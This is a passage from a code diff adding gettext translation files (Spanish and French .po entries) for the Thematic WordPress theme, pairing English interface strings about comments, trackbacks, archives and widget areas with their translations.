c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:669 +msgid "Comment on " +msgstr "Comentar en" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:664 +msgid " Comments" +msgstr " Comentarios" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:667 +msgid " Comment" +msgstr " Comentar" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:670 +msgid "Leave a comment" +msgstr "Dejar un comentario" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:673 +msgid "Comments closed" +msgstr "Comentarios cerrados" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid ". Bookmark the " +msgstr ". Guarda el " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:687 +msgid "permalink" +msgstr "enlace permanente" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:689 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "Post a comment" +msgstr "Publica un comentario" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:690 +msgid " or leave a trackback: " +msgstr " o deja un trackback: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL for your post" +msgstr "URL del Trackback para tu entrada" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL" +msgstr "URL del Trackback" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:693 +msgid " Comments are closed, but you can leave a trackback: " +msgstr " Los comentarios están cerrados, pero puedes dejar un trackback: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:696 +msgid " Trackbacks are closed, but you can " +msgstr " Los trackbacks están cerrados, pero puedes " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "post a comment" +msgstr "publicar un comentario" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:699 +msgid " Both comments and trackbacks are currently closed." +msgstr "Tanto los comentarios como los trackbacks están cerrados." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Publicado %1$s en %2$s | Permalink" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tTu comentario está esperando moderación.\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Respuesta" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Inicia sesión para responder." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Por %1$s el %2$s a las %3$s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tTu trackback está esperando moderación.\\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:251 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "Posts RSS feed" +msgstr "Canal RSS de entradas" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:269 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "Comments RSS feed" +msgstr "Canal RSS de comentarios" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip navigation to the content" +msgstr "Saltar la navegación al contenido" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip to content" +msgstr "Saltar al contenido" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:31 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "No hay ningún extracto porque esta entrada esta protegida." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "Iniciar Sesión" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "Cerrar Sesión" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "Posición del Widget del Ãndice" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "El widget del índice se colocará a partir de esta entrada" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Info en Página de Autor" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "Mostrar una vCard—con el avatar, biografía y email del autor—en la página de autor." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr "Texto en Pie de Página" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [blog-link] [the-year]" +msgstr "Puedes usar estas etiquetas abreviadas en el pie de página: [wp-link] [theme-link] [loginout-link] [blog-title] [blog-link] [the-year]" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Funcionando gracias a [wp-link]. Diseñado con el [theme-link]." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:75 +msgid "settings saved." +msgstr "- opciones guardadas." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:76 +msgid "settings reset." +msgstr "- opciones originales reestablecidas." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:77 +msgid "widgets reset." +msgstr "- widgets originales reestablecidos." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:190 +msgid "Save changes" +msgstr "Guardar cambios" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:196 +msgid "Reset" +msgstr "Reestablecer" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:202 +msgid "Reset Widgets" +msgstr "Reestablecer Widgets" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:207 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "Para más información sobre este tema, visita ThemeShaper. Puedes visitar el Foro de ThemeShaper si tienes cualquier pregunta acerca de Thematic." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:12 +msgid "To search, type and hit enter" +msgstr "Para buscar, escribe y dale al enter" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:18 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:281 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:43 +msgid "Search" +msgstr "Buscar" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:43 +msgid "The primary widget area, most often used as a sidebar." +msgstr "El area de widgets principal, generalmente usarda para como una barra lateral." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:58 +msgid "The secondary widget area, most often used as a sidebar." +msgstr "El area de widgets secundaria, generalmente usarda para como una barra lateral." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:73 +msgid "The 1st widget area in the footer." +msgstr "La primera área de widgets del pie de página." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:88 +msgid "The 2nd widget area in the footer." +msgstr "La segunda área de widgets del pie de página." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:103 +msgid "The 3rd widget area in the footer." +msgstr "La tercera área de widgets del pie de página." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:118 +msgid "The top widget area displayed on the index page." +msgstr "El área de widgets superior mostrada en el índice." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:133 +msgid "The widget area inserted after x posts on the index page." +msgstr "El área de widgets inferior mostrada en el índice." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:148 +msgid "The bottom widget area displayed on the index page." +msgstr "El área de widgets inferior mostrada en el índice." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:163 +msgid "The top widget area displayed on a single post." +msgstr "El área de widgets superior mostrada en las entradas." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:178 +msgid "The widget area inserted between the post and the comments on a single post." +msgstr "El área de widgets insertada entre la entrada y los comentarios en las entradas." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:193 +msgid "The bottom widget area displayed on a single post." +msgstr "El área de widgets inferior mostrada en las entradas." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:208 +msgid "The top widget area displayed on a page." +msgstr "El área de widgets superior mostrada en las páginas." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:223 +msgid "The bottom widget area displayed on a page." +msgstr "El área de widgets inferior mostrada en las páginas." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:283 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:55 +msgid "Meta" +msgstr "Meta" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:285 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:286 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:72 +msgid "RSS Links" +msgstr "Enlaces RSS" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "All posts" +msgstr "Todas las entradas" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "All comments" +msgstr "Todos los comentarios" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:96 +msgid "Title:" +msgstr "Título:" + +#~ msgid "definitions created." +#~ msgstr "definiciones creadas." +#~ msgid "failed to create directory:" +#~ msgstr "error al crear directorio:" +#~ msgid "failed to create the file:" +#~ msgstr "error al crear el archivo:" +#~ msgid "Create Definitions" +#~ msgstr "Crear Definiciones" +#~ msgid "Pages" +#~ msgstr "Páginas" +#~ msgid "Categories" +#~ msgstr "Categorías" +#~ msgid "Archives" +#~ msgstr "Archivos" +#~ msgid "RSS Feeds" +#~ msgstr "Canales RSS" +#~ msgid "Blog Index" +#~ msgstr "Ãndice del blog" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/fr_FR.mo Binary file web/wp-content/themes/thematic/library/languages/fr_FR.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/fr_FR.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/fr_FR.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,521 @@ +msgid "" +msgstr "" +"Project-Id-Version: Thematic\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2010-02-18 20:58+0100\n" +"PO-Revision-Date: \n" +"Last-Translator: Florent Dupont \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: French\n" +"X-Poedit-Country: FRANCE\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e;_c\n" +"X-Poedit-Basepath: .\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/archives.php:42 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/links.php:53 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:40 +msgid "Edit" +msgstr "Modifier" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/attachment.php:39 +msgid "Pages:" +msgstr "Pages :" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/author.php:53 +msgid "Email " +msgstr "E-mail" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Cet article est protégé par mot de passe. Saisissez votre mot de passe pour lire les commentaires." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d trackbacks" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +msgid "One Trackback" +msgstr "Un trackback" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Vous devez être connecté pour laisser un commentaire." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Connecté en tant que %2$s. Se déconnecter ?" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "Votre e-mail ne sera jamais publié ni communiqué." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Required fields are marked *" +msgstr "Les champs obligatoires sont indiqués par *" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +msgid "Name" +msgstr "Nom" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "*" +msgstr "*" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "Email" +msgstr "E-mail" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:103 +msgid "Website" +msgstr "Site web" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:115 +msgid "You may use these HTML tags and attributes:" +msgstr "Vous pouvez utiliser ces balises et attributs HTML :" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:38 +msgid "Pages: " +msgstr "Pages :" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:41 +msgid "Nothing Found" +msgstr "Aucun résultat" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:43 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Désolé, mais rien ne correspond à vos critères de recherche. Veuillez réessayer avec d'autres mots-clés." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:48 +msgid "Find" +msgstr "Trouver" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:76 +msgid "One Comment" +msgstr "Un commentaire" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:83 +#, php-format +msgid "%d Comments" +msgstr "%d commentaires" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:96 +msgid "Post a Comment" +msgstr "Laisser un commentaire" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:103 +#, php-format +msgid "Post a Reply to %s" +msgstr "Répondre à %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:110 +msgid "Comment" +msgstr "Commentaire" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:117 +msgid "Post Comment" +msgstr "Valider le commentaire" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:147 +msgid "Author Archives: " +msgstr "Archives par auteur : " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:153 +msgid "Category Archives:" +msgstr "Archives par catégorie :" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:162 +msgid "Search Results for:" +msgstr "Résultats de la recherche pour :" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:168 +msgid "Tag Archives:" +msgstr "Archives par tag :" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:174 +#, php-format +msgid "Daily Archives: %s" +msgstr "Archives par jour : %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:178 +#, php-format +msgid "Monthly Archives: %s" +msgstr "Archives par mois : %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:182 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Archives par année : %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:186 +msgid "Blog Archives" +msgstr "Archives du blog" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:209 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:725 +msgid "« Older posts" +msgstr "« Articles plus anciens" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:210 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:726 +msgid "Newer posts »" +msgstr "Articles plus récents »" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:394 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:618 +msgid "Edit post" +msgstr "Modifier cet article" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:406 +msgid "Not Found" +msgstr "Introuvable" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:411 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid "Permalink to " +msgstr "Permalien vers " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:441 +msgid "By " +msgstr "Par " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:444 +msgid "View all posts by " +msgstr "Voir tous les articles par " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:455 +msgid "Published: " +msgstr "Publié : " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:523 +msgid "Archives by Category" +msgstr "Archives par catégorie" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:534 +msgid "Archives by Month" +msgstr "Archives par mois" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:562 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Désolé, nous n'avons pas pu trouver ce que vous cherchiez. Le moteur de recherche pourra peut-être vous aider." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:578 +msgid "Read More »" +msgstr "Lire le reste de cet article »" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:629 +msgid "This entry was posted in " +msgstr "Cet article a été publié dans " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:632 +msgid "Also posted in " +msgstr "Également publié dans " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:635 +msgid "Posted in " +msgstr "Publié dans " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:646 +msgid " and tagged" +msgstr " avec les mots-clefs :" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:649 +msgid " Also tagged " +msgstr " Autres mots-clefs : " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:651 +msgid "Tagged" +msgstr "Mots-clefs :" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:663 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:666 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:669 +msgid "Comment on " +msgstr "Commentaire sur " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:664 +msgid " Comments" +msgstr " commentaires" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:667 +msgid " Comment" +msgstr " commentaire" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:670 +msgid "Leave a comment" +msgstr "Laisser un commentaire" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:673 +msgid "Comments closed" +msgstr "Commentaires fermés" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid ". Bookmark the " +msgstr ". Bookmarker le " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:687 +msgid "permalink" +msgstr "permalien" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:689 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "Post a comment" +msgstr "Laisser un commentaire" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:690 +msgid " or leave a trackback: " +msgstr " ou faire un trackback : " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL for your post" +msgstr "URL de trackback pour votre article" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL" +msgstr "URL de trackback" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:693 +msgid " Comments are closed, but you can leave a trackback: " +msgstr " Les commentaires sont fermés, mais vous pouvez faire un trackback : " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:696 +msgid " Trackbacks are closed, but you can " +msgstr " Les trackbacks sont fermés, mais vous pouvez " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "post a comment" +msgstr "laisser un commentaire" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:699 +msgid " Both comments and trackbacks are currently closed." +msgstr " Les commentaires et les trackbacks sont fermés." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Le %1$s à %2$s | Permalien" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tVotre commentaire est en attente de modération.\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Répondre" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Connectez-vous pour répondre." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Par %1$s le %2$s à %3$s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tVotre trackback est en attente de modération.\\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:251 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "Posts RSS feed" +msgstr "Flux RSS des articles" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:269 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "Comments RSS feed" +msgstr "Flux RSS des commentaires" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip navigation to the content" +msgstr "Passer la navigation" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip to content" +msgstr "Aller au contenu" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:31 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "Il n'y a pas d'extrait car l'article est protégé." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "Connexion" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "Déconnexion" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "Position du bloc inséré en page d'accueil" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "Le bloc widget inséré en page d'accueil apparaîtra après ce numéro d'article." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Page Info sur l'auteur" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "Afficher une vCard micorformatée—avec l'avatar, la biographie et l'e-mail de l'auteur—sur la page \"auteur\"." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr "Texte du pied de page" + +# Unsure about translation of "shortcode". Using "code". +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [blog-link] [the-year]" +msgstr "Vous pouvez utilisez les codes suivants dans votre texte de pied de page : [wp-link] [theme-link] [loginout-link] [blog-title] [blog-link] [the-year]" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Propulsé par [wp-link]. Construit avec [theme-link]." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:75 +msgid "settings saved." +msgstr " : paramètres enregistrés." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:76 +msgid "settings reset." +msgstr " : paramètres réinitialisés." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:77 +msgid "widgets reset." +msgstr " : widgets réinitialisés." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:190 +msgid "Save changes" +msgstr "Enregistrer les modifications" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:196 +msgid "Reset" +msgstr "Réinitialiser" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:202 +msgid "Reset Widgets" +msgstr "Réinitialiser les widgets" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:207 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "Pour plus d'informations sur ce thème, rendez-vous sur ThemeShaper. Connectez-vous aux forums ThemeShaper si vous avez des questions à propos de Thematic." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:12 +msgid "To search, type and hit enter" +msgstr "Entrez votre requête" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:18 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:281 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:43 +msgid "Search" +msgstr "Recherche" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:43 +msgid "The primary widget area, most often used as a sidebar." +msgstr "La zone de widgets primaire, le plus souvent utilisée comme barre latérale." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:58 +msgid "The secondary widget area, most often used as a sidebar." +msgstr "La zone de widgets secondaire, le plus souvent utilisée comme barre latérale." + +#: 